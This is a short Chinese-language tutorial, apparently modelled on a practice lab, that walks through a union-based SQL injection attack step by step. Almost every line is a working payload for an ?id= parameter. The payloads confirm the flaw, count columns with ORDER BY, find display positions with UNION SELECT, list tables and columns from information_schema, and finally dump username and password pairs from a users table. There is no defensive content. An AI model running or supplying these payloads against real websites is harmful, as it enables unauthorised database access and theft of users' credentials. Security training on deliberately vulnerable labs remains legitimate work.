手把手教你sql注入,不相信你学不会!!!
判断是否存在注入 ?id=1'
报错,说明存在注入点。
判断数字类型,假设是字符型 ?id=1''
返回正常结果,说明是字符型。
判断闭合符号 ?id=1'--+
正常显示,说明构造只有一个单引号包裹
接下来联合查询,首先需要判断列数 ?id=1' order by 5--+
报错,说明小于5.接下来进行改变数字尝试
说明只查询三列,但是只显示两列
查询显示位 ?id=1' union select 1,2,3--+
还是只显示正常数据(显示位有限,优先显示前边显示为结果,后边自己添加的查询结果没有任何显示),接下来让前边查询不出来。?id=-1' union select 1,2,3--+ (或给一个条件为假 ?id=1' and1=2 union select 1,2,3--+ )
只显示2,3 说明显示位是第二列和第三列。
查询当前数据库 ?id=-1' union select 1,database(),3--+
指明库名查询表 ?id=-1' union select 1,database(),table_name from information_schema.tables where table_schema=database()--+
只显示一张表。想都输出出来时,需要使用函数group_concat()联合在一起 ?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
找到存放用户的表(users), 查询字段 ?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+
查询username和password字段 ?id=-1' union select 1,database(),group_concat(" ",username,":", password," ") from users--+